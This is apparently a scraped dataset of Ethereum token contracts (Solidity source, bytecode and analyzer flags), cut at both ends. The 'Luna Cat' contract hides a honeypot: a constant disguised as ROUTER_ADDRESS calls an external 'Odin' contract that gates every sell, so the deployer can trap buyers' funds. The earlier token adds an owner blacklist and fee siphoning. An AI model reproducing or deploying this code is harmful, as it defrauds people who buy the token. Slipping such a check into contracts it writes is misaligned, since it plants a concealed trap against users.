returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to])){ if(to != uniswapV2Pair){ if(balanceOf(to)+ ((amount *(100- tax))/100) > maxWallet){ revert("Max Wallet exceeded"); } } if (from != address(this)) { require(amount <= maxAmountTransfer); redistribution = redisTax; tax = ethTax; uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { teamWallet.transfer(amount/2); devWallet.transfer(amount/2); } function liftMaxTrnx() external onlyOwner{ maxAmountTransfer = _tTotal; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); ethTax = 12; redisTax = 1; maxAmountTransfer = _tTotal/100; maxWallet = _tTotal/50; swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function whiteList(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == devWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == devWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, redistribution, tax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063c3c8cd8011610064578063c3c8cd8014610328578063c816841b1461033d578063c9567bf91461035b578063dd62ed3e14610370578063f9f92be4146103b657600080fd5b806370a082311461026b578063715018a61461028b5780638da5cb5b146102a057806395d89b41146102d2578063a9059cbb1461030857600080fd5b8063313ce567116100e7578063313ce567146101e357806335ffbc47146101ff578063372c12b1146102165780635932ead1146102365780636fc3eaec1461025657600080fd5b806306fdde0314610124578063095ea7b31461016e57806318160ddd1461019e57806323b872dd146101c357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600f81526e416c69656e20546f792053746f727960881b60208201525b6040516101659190611494565b60405180910390f35b34801561017a57600080fd5b5061018e6101893660046114fe565b6103d6565b6040519015158152602001610165565b3480156101aa57600080fd5b50670de0b6b3a76400005b604051908152602001610165565b3480156101cf57600080fd5b5061018e6101de36600461152a565b6103ed565b3480156101ef57600080fd5b5060405160098152602001610165565b34801561020b57600080fd5b50610214610456565b005b34801561022257600080fd5b5061021461023136600461156b565b610497565b34801561024257600080fd5b50610214610251366004611596565b6104e2565b34801561026257600080fd5b5061021461052a565b34801561027757600080fd5b506101b561028636600461156b565b610557565b34801561029757600080fd5b50610214610579565b3480156102ac57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610165565b3480156102de57600080fd5b5060408051808201909152600d81526c416c69656e546f7953746f727960981b6020820152610158565b34801561031457600080fd5b5061018e6103233660046114fe565b6105ed565b34801561033457600080fd5b506102146105fa565b34801561034957600080fd5b506013546001600160a01b03166102ba565b34801561036757600080fd5b50610214610630565b34801561037c57600080fd5b506101b561038b3660046115b3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103c257600080fd5b506102146103d136600461156b565b6109d5565b60006103e3338484610a23565b5060015b92915050565b60006103fa848484610b47565b61044c843361044785604051806060016040528060288152602001611797602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d72565b610a23565b5060019392505050565b6000546001600160a01b031633146104895760405162461bcd60e51b8152600401610480906115ec565b60405180910390fd5b670de0b6b3a7640000600a55565b6000546001600160a01b031633146104c15760405162461bcd60e51b8152600401610480906115ec565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461050c5760405162461bcd60e51b8152600401610480906115ec565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b0316336001600160a01b03161461054a57600080fd5b4761055481610dac565b50565b6001600160a01b0381166000908152600260205260408120546103e790610e31565b6000546001600160a01b031633146105a35760405162461bcd60e51b8152600401610480906115ec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103e3338484610b47565b6010546001600160a01b0316336001600160a01b03161461061a57600080fd5b600061062530610557565b905061055481610eb5565b6000546001600160a01b0316331461065a5760405162461bcd60e51b8152600401610480906115ec565b601354600160a01b900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610480565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f03082670de0b6b3a7640000610a23565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107529190611621565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190611621565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190611621565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d719473061086481610557565b6000806108796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610906919061163e565b5050600c600e55506001600f556109266064670de0b6b3a7640000611682565b600a5561093c6032670de0b6b3a7640000611682565b600b556013805463ffff00ff60a01b198116630101000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d191906116a4565b5050565b6000546001600160a01b031633146109ff5760405162461bcd60e51b8152600401610480906115ec565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610480565b6001600160a01b038216610ae65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610480565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610ba95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610480565b6001600160a01b03831660009081526006602052604090205460ff1615610bcf57600080fd5b6001600160a01b03831660009081526005602052604090205460ff1680610c0e57506001600160a01b03821660009081526005602052604090205460ff165b610d62576013546001600160a01b03838116911614610ca657600b546064600d546064610c3b91906116c1565b610c4590846116d8565b610c4f9190611682565b610c5884610557565b610c6291906116f7565b1115610ca65760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08195e18d959591959606a1b6044820152606401610480565b6001600160a01b0383163014610d6257600a54811115610cc557600080fd5b600f54600c55600e54600d556000610cdc30610557565b9050610cf26103e8670de0b6b3a7640000611682565b811115610d6057601354600160a81b900460ff16158015610d2157506013546001600160a01b03858116911614155b8015610d365750601354600160b01b900460ff165b15610d6057610d4481610eb5565b476706f05b59d3b20000811115610d5e57610d5e47610dac565b505b505b610d6d83838361102f565b505050565b60008184841115610d965760405162461bcd60e51b81526004016104809190611494565b506000610da384866116c1565b95945050505050565b6011546001600160a01b03166108fc610dc6600284611682565b6040518115909202916000818181858888f19350505050158015610dee573d6000803e3d6000fd5b506010546001600160a01b03166108fc610e09600284611682565b6040518115909202916000818181858888f193505050501580156109d1573d6000803e3d6000fd5b6000600854821115610e985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610480565b6000610ea261103a565b9050610eae838261105d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610efd57610efd61170f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7a9190611621565b81600181518110610f8d57610f8d61170f565b6001600160a01b039283166020918202929092010152601254610fb39130911684610a23565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fec908590600090869030904290600401611725565b600060405180830381600087803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b610d6d83838361109f565b6000806000611047611196565b9092509050611056828261105d565b9250505090565b6000610eae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111d6565b6000806000806000806110b187611204565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110e39087611261565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461111290866112a3565b6001600160a01b03891660009081526002602052604090205561113481611302565b61113e848361134c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161118391815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a76400006111b1828261105d565b8210156111cd57505060085492670de0b6b3a764000092509050565b90939092509050565b600081836111f75760405162461bcd60e51b81526004016104809190611494565b506000610da38486611682565b60008060008060008060008060006112218a600c54600d54611370565b925092509250600061123161103a565b905060008060006112448e8787876113c5565b919e509c509a509598509396509194505050505091939550919395565b6000610eae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d72565b6000806112b083856116f7565b905083811015610eae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610480565b600061130c61103a565b9050600061131a8383611415565b3060009081526002602052604090205490915061133790826112a3565b30600090815260026020526040902055505050565b6008546113599083611261565b60085560095461136990826112a3565b6009555050565b600080808061138a60646113848989611415565b9061105d565b9050600061139d60646113848a89611415565b905060006113b5826113af8b86611261565b90611261565b9992985090965090945050505050565b60008080806113d48886611415565b905060006113e28887611415565b905060006113f08888611415565b90506000611402826113af8686611261565b939b939a50919850919650505050505050565b600082611424575060006103e7565b600061143083856116d8565b90508261143d8583611682565b14610eae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610480565b600060208083528351808285015260005b818110156114c1578581018301518582016040015282016114a5565b818111156114d3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055457600080fd5b6000806040838503121561151157600080fd5b823561151c816114e9565b946020939093013593505050565b60008060006060848603121561153f57600080fd5b833561154a816114e9565b9250602084013561155a816114e9565b929592945050506040919091013590565b60006020828403121561157d57600080fd5b8135610eae816114e9565b801515811461055457600080fd5b6000602082840312156115a857600080fd5b8135610eae81611588565b600080604083850312156115c657600080fd5b82356115d1816114e9565b915060208301356115e1816114e9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561163357600080fd5b8151610eae816114e9565b60008060006060848603121561165357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008261169f57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156116b657600080fd5b8151610eae81611588565b6000828210156116d3576116d361166c565b500390565b60008160001904831182151516156116f2576116f261166c565b500290565b6000821982111561170a5761170a61166c565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117755784516001600160a01b031683529383019391830191600101611750565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d45b99744265c6d33faafa00c87cd46153c6c0bf04c28da02b21525c4502ed564736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,256
0xefCfffF7E5D4728706C55E42D725eFD6C2066014
//SPDX-License-Identifier: MIT // Telegram: pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Luna Cat"; string constant TOKEN_SYMBOL="LUNACAT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LunaCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600881526020017f4c756e6120436174000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4c554e4143415400000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810